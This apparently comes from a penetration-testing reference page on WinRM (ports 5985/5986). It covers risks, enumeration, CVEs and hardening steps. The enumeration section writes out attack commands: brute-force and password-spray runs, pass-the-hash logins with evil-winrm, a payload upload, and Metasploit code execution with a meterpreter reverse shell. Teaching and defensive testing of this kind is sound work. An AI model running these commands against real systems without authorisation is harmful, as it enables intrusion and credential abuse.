Port 5985/5986 – WinRM (Windows Remote Management)

Why It’s Open

WinRM is Microsoft’s WS-Management implementation — the transport used by PowerShell remoting, Ansible’s winrm connection plugin, and most modern Windows orchestration tooling. Port 5985 is plaintext HTTP; 5986 is HTTPS. Both are commonly enabled on servers and increasingly on workstations in environments that use PowerShell remoting.

Common Risks

• Cleartext credentials on 5985. If Basic auth is enabled without HTTPS, credentials fly in plaintext.
• Unconstrained admin access. WinRM grants an attacker full PowerShell on the target — it is effectively a remote shell for anyone who authenticates.
• NTLM relay. SMB signing doesn’t apply; NTLM tokens captured elsewhere can be replayed to WinRM.
• Post-exploitation lateral movement. WinRM is the preferred lateral-movement channel for modern red teams because it blends in with legitimate admin traffic.
• Kerberoasting + WinRM. A service account compromised via Kerberoasting is immediately usable against 5985.

Want to save time on reporting?

Let PentestPad generate, track, and export your reports - automatically.

Book a Demo

Enumeration & Testing

Nmap fingerprinting

nmap -p 5985,5986 -sV --script=http-title,http-auth,ssl-cert <target>

WinRM auth methods discovery

msfconsole -q
use auxiliary/scanner/winrm/winrm_auth_methods
set RHOSTS <target>
run

WinRM login brute-force

use auxiliary/scanner/winrm/winrm_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

CrackMapExec / NetExec

crackmapexec winrm <target> -u <user> -p <pass>
crackmapexec winrm <target> -u <user> -H <ntlm-hash>
netexec winrm <target>/24 -u users.txt -p passwords.txt

# Spray a single password across a user list
crackmapexec winrm <target>/24 -u users.txt -p 'Winter2026!' --continue-on-success

Interactive shell with evil-winrm

evil-winrm -i <target> -u <user> -p <pass>
evil-winrm -i <target> -u <user> -H <ntlm-hash>

# Kerberos
evil-winrm -i <target> -u <user> -r <DOMAIN>

# Upload a file once inside
upload /local/payload.exe C:\Windows\Temp\payload.exe

Metasploit code execution

use exploit/windows/winrm/winrm_script_exec
set RHOSTS <target>
set USERNAME <user>
set PASSWORD <pass>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

Native PowerShell check

# On a Windows host
Test-WSMan -ComputerName <target>
Enter-PSSession -ComputerName <target> -Credential (Get-Credential)
winrm get winrm/config/service

What to Look For

Known CVEs

• CVE-2021-31166 — HTTP Protocol Stack RCE affecting HTTP.sys, which is the underlying transport for WinRM on Windows 10/Server 2004+. Pre-auth remote code execution.
• CVE-2020-17144 — Exchange Server RCE via WinRM (Exchange uses WinRM internally for some remote operations).

Mitigation

• Enforce HTTPS (5986) only. Disable 5985 or firewall it off entirely.

  winrm set winrm/config/service '@{AllowUnencrypted="false"}'
  winrm set winrm/config/service/auth '@{Basic="false"}'

• Restrict access to admin subnets with Windows Firewall rules tied to the WinRM service.
• Require Kerberos or certificate auth. Disable Basic and Digest.
• Enable PowerShell script block logging (Microsoft-Windows-PowerShell/Operational) so any remote session is captured.
• Monitor Event ID 4624 logon type 3 for unusual WinRM sessions, especially from workstations.
• Use Just Enough Administration (JEA) so service accounts with WinRM access have restricted PowerShell capabilities.

Real-World Example

WinRM is the go-to lateral movement channel in modern Active Directory compromises because PowerShell remoting traffic blends cleanly into a managed Windows environment. The HAFNIUM group used WinRM extensively after Exchange compromise in 2021, and most PSTH/NTLM relay post-exploitation toolchains target 5985 as a primary pivot.

TL;DR

• Service: Windows Remote Management (WS-Management)
• Default ports: 5985 (HTTP), 5986 (HTTPS)
• Biggest risk: full remote PowerShell once credentials are obtained
• Mitigation: disable 5985, enforce Kerberos, restrict to admin networks, log script blocks